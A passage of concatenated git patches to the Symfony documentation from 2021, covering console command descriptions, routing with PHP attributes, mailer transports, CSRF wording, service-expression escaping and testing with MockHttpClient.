+:method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\ControllerTrait::isCsrfTokenValid`
 to check its validity::
 
     use Symfony\Component\HttpFoundation\Request;

From 3a1f383f77bbad0865b189b0f2d1692bd5a7dd85 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Sun, 22 Aug 2021 10:22:20 +0100
Subject: [PATCH 1099/5766] Update license.rst

---
 contributing/code/license.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/license.rst b/contributing/code/license.rst
index 8c7c2fd19db..8f0ff3f6501 100644
--- a/contributing/code/license.rst
+++ b/contributing/code/license.rst
@@ -5,7 +5,7 @@ Symfony Code License
 
 Symfony code is released under `the MIT license`_:
 
-Copyright (c) 2004-2020 Fabien Potencier
+Copyright (c) 2004-2021 Fabien Potencier
 
 Permission is hereby granted, free of charge, to any person obtaining a copy
 of this software and associated documentation files (the "Software"), to deal

From a79e6928bc5879abd9910435a3991b9703419ee8 Mon Sep 17 00:00:00 2001
From: noniagriconomie <antoine.makdessi@agriconomie.com>
Date: Mon, 23 Aug 2021 15:48:13 +0100
Subject: [PATCH 1100/5766] [Console] Document lazy command via description

---
 console.rst | 13 +++++++++++--
 1 file changed, 11 insertions(+), 2 deletions(-)

diff --git a/console.rst b/console.rst
index 72e7ea30e0b..403d3197a2f 100644
--- a/console.rst
+++ b/console.rst
@@ -79,12 +79,15 @@ Configuring the Command
 You can optionally define a description, help message and the
 :doc:`input options and arguments </console/input>`::
 
+    // ...
+    // the short description shown while running "php bin/console list"
+    protected static $defaultDescription = 'Creates a new user.';
+
     // ...
     protected function configure(): void
     {
         $this
-            // the short description shown while running "php bin/console list"
-            ->setDescription('Creates a new user.')
+            ->setDescription(self::$defaultDescription)
 
             // the full command description shown when running the command with
             // the "--help" option
@@ -92,6 +95,12 @@ You can optionally define a description, help message and the
         ;
     }
 
+.. versionadded:: 5.3
+
+    The ``$defaultDescription`` static property was introduced in Symfony 5.3.
+    It allows to make the ``php bin/console list`` lazy.
+    You can as well use ``php bin/console list --short`` option to have the output faster.
+
 The ``configure()`` method is called automatically at the end of the command
 constructor. If your command defines its own constructor, set the properties
 first and then call to the parent constructor, to make those properties

From e1c8dd2483bf64b4d0dd3e2617f5b701ea19cd24 Mon Sep 17 00:00:00 2001
From: sebpacz <spaczkowski2014@gmail.com>
Date: Mon, 23 Aug 2021 21:22:15 +0200
Subject: [PATCH 1101/5766] [Twig] Add PHP Attributes to routing configuration
 example

---
 templates.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/templates.rst b/templates.rst
index 9f1f5233b34..feae769ba69 100644
--- a/templates.rst
+++ b/templates.rst
@@ -216,6 +216,30 @@ Consider the following routing configuration:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/BlogController.php
+        namespace App\Controller;
+
+        // ...
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class BlogController extends AbstractController
+        {
+            #[Route('/', name: 'blog_index')]
+            public function index(): Response
+            {
+                // ...
+            }
+
+            #[Route('/article/{slug}', name: 'blog_post')]
+            public function show(string $slug): Response
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml

From 3a1d28da548dd40af88942c50cce22fccb7da7a3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vasilij=20Du=C5=A1ko?= <vasilij@prado.lt>
Date: Sun, 29 Aug 2021 13:54:35 +0300
Subject: [PATCH 1102/5766] * unstable_versions.rst - upgrade

---
 setup/unstable_versions.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/setup/unstable_versions.rst b/setup/unstable_versions.rst
index 5e6e138ff8d..6b30a0f785b 100644
--- a/setup/unstable_versions.rst
+++ b/setup/unstable_versions.rst
@@ -8,7 +8,7 @@ Creating a New Project Based on an Unstable Symfony Version
 -----------------------------------------------------------
 
 
-Suppose that the Symfony 4.0 version hasn't been released yet and you want to create
+Suppose that the Symfony 5.4 version hasn't been released yet and you want to create
 a new project to test its features. First, `install the Composer package manager`_.
 Then, open a command console, enter your project's directory and
 run the following command:
@@ -24,7 +24,7 @@ in the ``my_project/`` directory.
 Upgrading your Project to an Unstable Symfony Version
 -----------------------------------------------------
 
-Suppose again that Symfony 4.0 hasn't been released yet and you want to upgrade
+Suppose again that Symfony 5.4 hasn't been released yet and you want to upgrade
 an existing application to test that your project works with it.
 
 First, open the ``composer.json`` file located in the root directory of your
@@ -35,8 +35,8 @@ new version and change your ``minimum-stability`` to ``beta``:
 
       {
           "require": {
-    +         "symfony/framework-bundle": "^4.0",
-    +         "symfony/finder": "^4.0",
+    +         "symfony/framework-bundle": "^5.4",
+    +         "symfony/finder": "^5.4",
               "...": "..."
           },
     +     "minimum-stability": "beta"
@@ -44,7 +44,7 @@ new version and change your ``minimum-stability`` to ``beta``:
 
 You can also use set ``minimum-stability`` to ``dev``, or omit this line
 entirely, and opt into your stability on each package by using constraints
-like ``4.0.*@beta``.
+like ``5.4.*@beta``.
 
 Finally, from a terminal, update your project's dependencies:
 

From b3dc6a8c0e68ed884e2c780912d9284c9d3a76e3 Mon Sep 17 00:00:00 2001
From: Paul Oms <support@ohmysmtp.com>
Date: Tue, 24 Aug 2021 16:52:00 +0100
Subject: [PATCH 1103/5766] [Mailer] Added OhMySMTP mailer details

---
 mailer.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index bad5231c7f8..f7fa2736a19 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -112,12 +112,17 @@ Mailjet             ``composer require symfony/mailjet-mailer``
 Postmark            ``composer require symfony/postmark-mailer``
 SendGrid            ``composer require symfony/sendgrid-mailer``
 Sendinblue          ``composer require symfony/sendinblue-mailer``
+OhMySMTP            ``composer require symfony/oh-my-smtp-mailer``
 ==================  ==============================================
 
 .. versionadded:: 5.2
 
     The Sendinblue integration was introduced in Symfony 5.2.
 
+.. versionadded:: 5.4
+
+    The OhMySMTP integration was introduced in Symfony 5.4.
+
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
 a configuration example to your ``.env`` file. For example, suppose you want to
 use SendGrid. First, install it:
@@ -166,6 +171,8 @@ party provider:
  Postmark             postmark+smtp://ID@default                           n/a                                         postmark+api://KEY@default
  Sendgrid             sendgrid+smtp://KEY@default                          n/a                                         sendgrid+api://KEY@default
  Sendinblue           sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
+ OhMySMTP             ohmysmtp+smtp://API_TOKEN@default                    n/a                                         ohmysmtp+api://API_TOKEN@default
+
 ==================== ==================================================== =========================================== ========================================
 
 .. caution::
@@ -1326,6 +1333,10 @@ The following transports currently support tags and metadata:
 * Postmark
 * Sendinblue
 
+The following transports only support tags:
+
+* OhMySMTP
+
 Development & Debugging
 -----------------------
 

From 6df62e7925874adfa2746d0ddbc3bf99bd2a8229 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 30 Aug 2021 16:34:57 +0200
Subject: [PATCH 1104/5766] Minor tweak

---
 security/csrf.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index b68a4d84c39..dee85a09e0d 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -151,7 +151,7 @@ generate a CSRF token in the template and store it as a hidden form field:
 
 Then, get the value of the CSRF token in the controller action and use the
 :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\ControllerTrait::isCsrfTokenValid`
-to check its validity::
+method to check its validity::
 
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;

From 918986367e437da4e1bdaa6e9fe1154c376174a5 Mon Sep 17 00:00:00 2001
From: Rafael Gil <rafaelgil83@gmail.com>
Date: Sat, 14 Aug 2021 21:18:00 -0400
Subject: [PATCH 1105/5766] Update mercure.rst Symfony Local Web Server url

---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index e5ff26e147a..32ed464ae3d 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -66,7 +66,7 @@ clients.
 
 .. image:: /_images/mercure/schema.png
 
-If you use the `Symfony Local Web Server </setup/symfony_server>`_ or `Symfony Docker`_,
+If you use the `Symfony Local Web Server </doc/current/setup/symfony_server>`_ or `Symfony Docker`_,
 a Mercure Hub is automatically available.
 
 For production usage, an official and open source (AGPL) Hub based on the Caddy web server

From 908f3d5e38989bc0e904c2bd2813f88ac43ede4f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 30 Aug 2021 17:30:57 +0200
Subject: [PATCH 1106/5766] Fix link syntax

---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index 32ed464ae3d..00c46199d48 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -66,7 +66,7 @@ clients.
 
 .. image:: /_images/mercure/schema.png
 
-If you use the `Symfony Local Web Server </doc/current/setup/symfony_server>`_ or `Symfony Docker`_,
+If you use the :doc:`Symfony Local Web Server </setup/symfony_server>` or `Symfony Docker`_,
 a Mercure Hub is automatically available.
 
 For production usage, an official and open source (AGPL) Hub based on the Caddy web server

From da9d99e8023b1da953719e91529c121e61e0b02c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vasilij=20Du=C5=A1ko?= <vasilij@prado.lt>
Date: Sun, 29 Aug 2021 13:58:19 +0300
Subject: [PATCH 1107/5766] * unstable_versions.rst - upgrade

---
 setup/unstable_versions.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/setup/unstable_versions.rst b/setup/unstable_versions.rst
index 6b30a0f785b..8fabced2de6 100644
--- a/setup/unstable_versions.rst
+++ b/setup/unstable_versions.rst
@@ -7,8 +7,7 @@ they are released as stable versions.
 Creating a New Project Based on an Unstable Symfony Version
 -----------------------------------------------------------
 
-
-Suppose that the Symfony 5.4 version hasn't been released yet and you want to create
+Suppose that the Symfony 6.0 version hasn't been released yet and you want to create
 a new project to test its features. First, `install the Composer package manager`_.
 Then, open a command console, enter your project's directory and
 run the following command:
@@ -24,7 +23,7 @@ in the ``my_project/`` directory.
 Upgrading your Project to an Unstable Symfony Version
 -----------------------------------------------------
 
-Suppose again that Symfony 5.4 hasn't been released yet and you want to upgrade
+Suppose again that Symfony 6.0 hasn't been released yet and you want to upgrade
 an existing application to test that your project works with it.
 
 First, open the ``composer.json`` file located in the root directory of your
@@ -35,8 +34,8 @@ new version and change your ``minimum-stability`` to ``beta``:
 
       {
           "require": {
-    +         "symfony/framework-bundle": "^5.4",
-    +         "symfony/finder": "^5.4",
+    +         "symfony/framework-bundle": "^6.0",
+    +         "symfony/finder": "^6.0",
               "...": "..."
           },
     +     "minimum-stability": "beta"
@@ -44,7 +43,7 @@ new version and change your ``minimum-stability`` to ``beta``:
 
 You can also use set ``minimum-stability`` to ``dev``, or omit this line
 entirely, and opt into your stability on each package by using constraints
-like ``5.4.*@beta``.
+like ``6.0.*@beta``.
 
 Finally, from a terminal, update your project's dependencies:
 

From f6955aadfbf3926e0fb3451f5cfc231747c4cfec Mon Sep 17 00:00:00 2001
From: "Arndt H. Ziegler" <60158770+ArndtZiegler@users.noreply.github.com>
Date: Mon, 30 Aug 2021 22:17:08 +0200
Subject: [PATCH 1108/5766] Fix confusion of HttpKernel and Kernel

The mentioned debug setting is part of the (abstract) class Kernel, i.e. "the" kernel, not the class HttpKernel
---
 components/dependency_injection/workflow.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/dependency_injection/workflow.rst b/components/dependency_injection/workflow.rst
index 750420f4d47..7ea3c1ea28e 100644
--- a/components/dependency_injection/workflow.rst
+++ b/components/dependency_injection/workflow.rst
@@ -21,7 +21,7 @@ Working with a Cached Container
 -------------------------------
 
 Before building it, the kernel checks to see if a cached version of the
-container exists. The HttpKernel has a debug setting and if this is false,
+container exists. The kernel has a debug setting and if this is false,
 the cached version is used if it exists. If debug is true then the kernel
 :doc:`checks to see if configuration is fresh </components/config/caching>`
 and if it is, the cached version of the container is used. If not then the

From dccdc1699c1dd50c685e7ef153744540a9bb53e0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 31 Aug 2021 12:19:15 +0200
Subject: [PATCH 1109/5766] Fix a minor RST syntax issue

---
 routing.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/routing.rst b/routing.rst
index 90d16688ad9..081111dc78b 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2369,6 +2369,7 @@ session shouldn't be used when matching a request:
 
 Now, if the session is used, the application will report it based on your
 ``kernel.debug`` parameter:
+
 * ``enabled``: will throw an :class:`Symfony\\Component\\HttpKernel\\Exception\\UnexpectedSessionUsageException` exception
 * ``disabled``: will log a warning
 

From c38130765a2eb4cf6f6b95527f6e61e1fec8e089 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <dunglas@gmail.com>
Date: Tue, 31 Aug 2021 16:58:36 +0200
Subject: [PATCH 1110/5766] [DependencyInjection] add missing use statements

---
 service_container.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/service_container.rst b/service_container.rst
index 5aa5573c1b5..eda0dc85ffc 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -33,6 +33,7 @@ service's class or interface name. Want to :doc:`log </logging>` something? No p
 
     use Psr\Log\LoggerInterface;
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
 
     class ProductController
     {
@@ -122,6 +123,7 @@ inside your controller::
     // src/Controller/ProductController.php
     use App\Service\MessageGenerator;
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
 
     /**
      * @Route("/products/new")

From ac8eb7dd4862cf0ca128cd777e10912d4a7161e5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 31 Aug 2021 12:43:25 +0200
Subject: [PATCH 1111/5766] [Routing] Readd the explanation of
 trailing_slash_on_root option

---
 routing.rst | 53 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 53 insertions(+)

diff --git a/routing.rst b/routing.rst
index 90d16688ad9..2e111053167 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1612,6 +1612,59 @@ and its URL will be ``/blog/{_locale}``. The route of the ``show()`` action will
 will also validate that the ``_locale`` parameter matches the regular expression
 defined in the class annotation.
 
+.. note::
+
+    If any of the prefixed routes defines an empty path, Symfony adds a trailing
+    slash to it. In the previous example, an empty path prefixed with ``/blog``
+    will result in the ``/blog/`` URL. If you want to avoid this behavior, set
+    the ``trailing_slash_on_root`` option to ``false`` (this option is not
+    available when using PHP attributes or annotations):
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/routes/annotations.yaml
+            controllers:
+                resource: '../../src/Controller/'
+                type:     annotation
+                prefix:   '/blog'
+                trailing_slash_on_root: false
+                # ...
+
+        .. code-block:: xml
+
+            <!-- config/routes/annotations.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <routes xmlns="http://symfony.com/schema/routing"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/routing
+                    https://symfony.com/schema/routing/routing-1.0.xsd">
+
+                <import resource="../../src/Controller/"
+                    type="annotation"
+                    prefix="/blog"
+                    name-prefix="blog_"
+                    trailing-slash-on-root="false"
+                    exclude="../../src/Controller/{DebugEmailController}.php">
+                    <!-- ... -->
+                </import>
+            </routes>
+
+        .. code-block:: php
+
+            // config/routes/annotations.php
+            use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+
+            return function (RoutingConfigurator $routes) {
+                $routes->import('../../src/Controller/', 'annotation')
+                    // the second argument is the $trailingSlashOnRoot option
+                    ->prefix('/blog', false)
+
+                    // ...
+                ;
+            };
+
 .. seealso::
 
     Symfony can :doc:`import routes from different sources </routing/custom_route_loader>`

From 0463e580cc0eec75d87cc842686d7699c6629387 Mon Sep 17 00:00:00 2001
From: Michael Babker <michael.babker@gmail.com>
Date: Wed, 1 Sep 2021 09:47:13 -0500
Subject: [PATCH 1112/5766] Note that parameter names for Attribute
 constructors are covered

---
 contributing/code/bc.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index 371c1a35b95..2142f25460a 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -448,8 +448,8 @@ Turn static into non static                         No
 
 .. [9] Allowed for the ``void`` return type.
 
-.. [10] Parameter names are not part of the compatibility promise. Using
-        PHP 8's named arguments feature might break your code when upgrading to
-        newer Symfony versions.
+.. [10] Parameter names are only covered by the compatibility promise for
+        constructors of Attribute classes. Using PHP 8's named arguments
+        feature might break your code when upgrading to newer Symfony versions.
 
 .. _`Semantic Versioning`: https://semver.org/

From 24a7c37d52bcfb04af038563c7ab94047f5afee2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Sep 2021 11:00:50 +0200
Subject: [PATCH 1113/5766] Minor tweak

---
 contributing/code/bc.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index 2142f25460a..65e7b1d3181 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -449,7 +449,7 @@ Turn static into non static                         No
 .. [9] Allowed for the ``void`` return type.
 
 .. [10] Parameter names are only covered by the compatibility promise for
-        constructors of Attribute classes. Using PHP 8's named arguments
-        feature might break your code when upgrading to newer Symfony versions.
+        constructors of Attribute classes. Using PHP named arguments might
+        break your code when upgrading to newer Symfony versions.
 
 .. _`Semantic Versioning`: https://semver.org/

From 88c25e1658fabe734e3fff2f8f5830678a5c7177 Mon Sep 17 00:00:00 2001
From: Faizan Akram Dar <hello@faizanakram.me>
Date: Tue, 31 Aug 2021 15:17:57 +0530
Subject: [PATCH 1114/5766] Adds proper escaping for php service config format

php configs need `\\\\`, `\\` are not enough.

`"service('App\\Mailer')"` compiles into `AppMailer` ,  `"service('App\\\\Mailer')"` compiles correctly into `App\Mailer`
---
 service_container/expression_language.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 9ba64eee074..0fb5081e15d 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -67,7 +67,7 @@ to another service: ``App\Mailer``. One way to do this is with an expression:
             $services->set(MailerConfiguration::class);
 
             $services->set(Mailer::class)
-                ->args([expr("service('App\\Mail\\MailerConfiguration').getMailerMethod()")]);
+                ->args([expr("service('App\\\\Mail\\\\MailerConfiguration').getMailerMethod()")]);
         };
 
 To learn more about the expression language syntax, see :doc:`/components/expression_language/syntax`.

From 209e939b275f059c864145b85e7d78c2d284d5d8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Sep 2021 11:03:32 +0200
Subject: [PATCH 1115/5766] Added a comment to the code

---
 service_container/expression_language.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 0fb5081e15d..972d7286c88 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -67,6 +67,7 @@ to another service: ``App\Mailer``. One way to do this is with an expression:
             $services->set(MailerConfiguration::class);
 
             $services->set(Mailer::class)
+                // because of the escaping applied by PHP, you must add 4 backslashes for each original backslash
                 ->args([expr("service('App\\\\Mail\\\\MailerConfiguration').getMailerMethod()")]);
         };
 

From 85bbbed3415fc909fc65780b3d106e770046fe07 Mon Sep 17 00:00:00 2001
From: chapterjason <chapterjason@users.noreply.github.com>
Date: Fri, 3 Sep 2021 11:24:22 +0200
Subject: [PATCH 1116/5766] docs: Fix form collection example

---
 form/form_collections.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 3355bc72065..e35e1d8be67 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -243,7 +243,7 @@ the following ``data-prototype`` attribute to the existing ``<ul>`` in your temp
 
 .. code-block:: html+twig
 
-    <ul class="tags" data-prototype="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}"></ul>
+    <ul class="tags" data-index="{{ form.tags|length > 0 ? form.tags|last.vars.name + 1 : 0 }}" data-prototype="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}"></ul>
 
 Now add a button just next to the ``<ul>`` to dynamically add a new tag:
 
@@ -255,7 +255,7 @@ On the rendered page, the result will look something like this:
 
 .. code-block:: html
 
-    <ul class="tags" data-index="{{ form.tags|length > 0 ? form.tags|last.vars.name + 1 : 0 }}" data-prototype="&lt;div&gt;&lt;label class=&quot; required&quot;&gt;__name__&lt;/label&gt;&lt;div id=&quot;task_tags___name__&quot;&gt;&lt;div&gt;&lt;label for=&quot;task_tags___name___name&quot; class=&quot; required&quot;&gt;Name&lt;/label&gt;&lt;input type=&quot;text&quot; id=&quot;task_tags___name___name&quot; name=&quot;task[tags][__name__][name]&quot; required=&quot;required&quot; maxlength=&quot;255&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;">
+    <ul class="tags" data-index="0" data-prototype="&lt;div&gt;&lt;label class=&quot; required&quot;&gt;__name__&lt;/label&gt;&lt;div id=&quot;task_tags___name__&quot;&gt;&lt;div&gt;&lt;label for=&quot;task_tags___name___name&quot; class=&quot; required&quot;&gt;Name&lt;/label&gt;&lt;input type=&quot;text&quot; id=&quot;task_tags___name___name&quot; name=&quot;task[tags][__name__][name]&quot; required=&quot;required&quot; maxlength=&quot;255&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;">
 
 .. seealso::
 
@@ -537,7 +537,7 @@ First, add a "delete this tag" link to each tag form:
     })
 
     // ... the rest of the block from above
-    
+
     function addFormToCollection() {
         // ...
 
@@ -553,7 +553,7 @@ The ``addTagFormDeleteLink()`` function will look something like this:
         const removeFormButton = document.createElement('button')
         removeFormButton.classList
         removeFormButton.innerText = 'Delete this tag'
-        
+
         tagFormLi.append(removeFormButton);
 
         removeFormButton.addEventListener('click', (e) => {

From 02ed37c06d0d9719bb2e6973be8894ffc3df9747 Mon Sep 17 00:00:00 2001
From: Eric Krona <eric@krona.tm>
Date: Sun, 5 Sep 2021 22:23:02 +0200
Subject: [PATCH 1117/5766] Update profiler.rst

the getKernel() method is available in $event rather than $this.
Perhaps a full event subscriber class could be included to make it more complete?
---
 profiler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/profiler.rst b/profiler.rst
index 1bc2c1a0eb5..f7468c67d0b 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -195,7 +195,7 @@ event::
 
     public function onKernelResponse(ResponseEvent $event)
     {
-        if (!$this->getKernel()->isDebug()) {
+        if (!$event->getKernel()->isDebug()) {
             return;
         }
 

From 2c27cebbf1733587f56ce0973ba5963e54f50b63 Mon Sep 17 00:00:00 2001
From: SirRFI <32642697+SirRFI@users.noreply.github.com>
Date: Fri, 28 May 2021 21:00:08 +0200
Subject: [PATCH 1118/5766] [HttpClient] More on testing, how to test request,
 example

---
 http_client.rst | 138 ++++++++++++++++++++++++++++++++++++++++++++++--
 1 file changed, 134 insertions(+), 4 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 2a87a8ac7f3..e42a9f89cf2 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1387,12 +1387,27 @@ This allows using them where native PHP streams are needed::
     // later on if you need to, you can access the response from the stream
     $response = stream_get_meta_data($streamResource)['wrapper_data']->getResponse();
 
-Testing HTTP Clients and Responses
-----------------------------------
+Testing
+-------
 
 This component includes the ``MockHttpClient`` and ``MockResponse`` classes to
-use them in tests that need an HTTP client which doesn't make actual HTTP
-requests.
+use in tests that shouldn't make actual HTTP requests. Such tests can be
+useful, as they will run faster and produce consistent results, since they're
+not dependant on an external service. By not making actual HTTP requests there
+is no need to worry about the service being online or the request changing
+state, for example deleting a resource.
+
+``MockHttpClient`` implements the ``HttpClientInterface``, just like any actual
+HTTP client in this component. When you type-hint with ``HttpClientInterface``
+your code will accept the real client outside tests, while replacing it with
+``MockHttpClient`` in the test.
+
+When the ``request`` method is used on ``MockHttpClient``, it will respond with
+the supplied ``MockResponse``. There are a few ways to use it, as described
+below.
+
+HTTP Client and Responses
+~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The first way of using ``MockHttpClient`` is to pass a list of responses to its
 constructor. These will be yielded in order when requests are made::
@@ -1451,6 +1466,121 @@ However, using ``MockResponse`` allows simulating chunked responses and timeouts
 
     $mockResponse = new MockResponse($body());
 
+Testing Request Data
+~~~~~~~~~~~~~~~~~~~~
+
+The examples above describe how to return desired response. What if you wanted
+to also test the request itself? ``MockResponse`` comes with a few helper
+methods:
+
+* ``getRequestMethod()`` - returns the HTTP method
+* ``getRequestUrl()`` - returns the URL the request would be sent to
+* ``getRequestOptions()`` - returns an array containing other information about
+  the request such as headers, query parameters, body content etc.
+
+Usage example::
+
+    $mockResponse = new MockResponse('', ['http_code' => 204]);
+    $httpClient = new MockHttpClient($mockResponse, 'https://example.com');
+
+    $response = $httpClient->request('DELETE', 'api/article/1337', [
+        'headers' => [
+            'Accept: */*',
+            'Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l',
+        ],
+    ]);
+
+    // returns "DELETE"
+    $mockResponse->getRequestMethod();
+
+    // returns "https://example.com/api/article/1337"
+    $mockResponse->getRequestUrl();
+
+    // returns ["Accept: */*", "Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l"]
+    $mockResponse->getRequestOptions()['headers'];
+
+Example
+~~~~~~~
+
+The following standalone example demonstrates a way to use HTTP client and
+test it in a real application::
+
+    // ExternalArticleService.php
+    use Symfony\Contracts\HttpClient\HttpClientInterface;
+
+    final class ExternalArticleService
+    {
+        private HttpClientInterface $httpClient;
+
+        public function __construct(HttpClientInterface $httpClient)
+        {
+            $this->httpClient = $httpClient;
+        }
+
+        public function createArticle(array $requestData): array
+        {
+            $requestJson = json_encode($requestData, JSON_THROW_ON_ERROR);
+
+            $response = $this->httpClient->request('POST', 'api/article', [
+                'headers' => [
+                    'Content-Type: application/json',
+                    'Accept: application/json',
+                ],
+                'body' => $requestJson,
+            ]);
+
+            if (201 !== $response->getStatusCode()) {
+                throw new Exception('Response status code is different than expected.');
+            }
+
+            // ... other checks
+
+            $responseJson = $response->getContent();
+            $responseData = json_decode($responseJson, true, 512, JSON_THROW_ON_ERROR);
+
+            return $responseData;
+        }
+    }
+
+    // ExternalArticleServiceTest.php
+    use PHPUnit\Framework\TestCase;
+    use Symfony\Component\HttpClient\MockHttpClient;
+    use Symfony\Component\HttpClient\Response\MockResponse;
+
+    final class ExternalArticleServiceTest extends TestCase
+    {
+        public function testSubmitData(): void
+        {
+            // Arrange
+            $requestData = ['title' => 'Testing with Symfony HTTP Client'];
+            $expectedRequestData = json_encode($requestData, JSON_THROW_ON_ERROR);
+
+            $expectedResponseData = ['id' => 12345];
+            $mockResponseJson = json_encode($expectedResponseData, JSON_THROW_ON_ERROR);
+            $mockResponse = new MockResponse($mockResponseJson, [
+                'http_code' => 201,
+                'response_headers' => ['Content-Type: application/json'],
+            ]);
+
+            $httpClient = new MockHttpClient($mockResponse, 'https://example.com');
+            $service = new ExternalArticleService($httpClient);
+
+            // Act
+            $responseData = $service->createArticle($requestData);
+
+            // Assert
+            self::assertSame('POST', $mockResponse->getRequestMethod());
+            self::assertSame('https://example.com/api/article', $mockResponse->getRequestUrl());
+            self::assertContains(
+                'Content-Type: application/json',
+                $mockResponse->getRequestOptions()['headers']
+            );
+            self::assertSame($expectedRequestData, $mockResponse->getRequestOptions()['body']);
+
+            self::assertSame($responseData, $expectedResponseData);
+        }
+    }
+
 .. _`cURL PHP extension`: https://www.php.net/curl
 .. _`PSR-17`: https://www.php-fig.org/psr/psr-17/
 .. _`PSR-18`: https://www.php-fig.org/psr/psr-18/

From 6da45485ca402738aff30eedc0d7fca7936fc1ca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 6 Sep 2021 17:49:56 +0200
Subject: [PATCH 1119/5766] Minor tweaks

---
 http_client.rst | 22 ++++++++++------------
 1 file changed, 10 insertions(+), 12 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index e42a9f89cf2..6055fa7540c 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1393,7 +1393,7 @@ Testing
 This component includes the ``MockHttpClient`` and ``MockResponse`` classes to
 use in tests that shouldn't make actual HTTP requests. Such tests can be
 useful, as they will run faster and produce consistent results, since they're
-not dependant on an external service. By not making actual HTTP requests there
+not dependent on an external service. By not making actual HTTP requests there
 is no need to worry about the service being online or the request changing
 state, for example deleting a resource.
 
@@ -1469,12 +1469,10 @@ However, using ``MockResponse`` allows simulating chunked responses and timeouts
 Testing Request Data
 ~~~~~~~~~~~~~~~~~~~~
 
-The examples above describe how to return desired response. What if you wanted
-to also test the request itself? ``MockResponse`` comes with a few helper
-methods:
+The ``MockResponse`` class comes with some helper methods to test the request:
 
-* ``getRequestMethod()`` - returns the HTTP method
